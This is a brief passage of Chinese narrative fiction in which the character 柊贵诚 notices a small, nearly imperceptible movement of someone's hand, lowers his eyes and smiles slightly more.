大概只有一根手指的距离。 几乎看不出来。 但柊贵诚看见了。 他的目光落在那只手上,想到刚才那个微小的、几乎可以忽略不计的移动上。 然后他垂下眼。 嘴角那一点笑意,更深了一点点。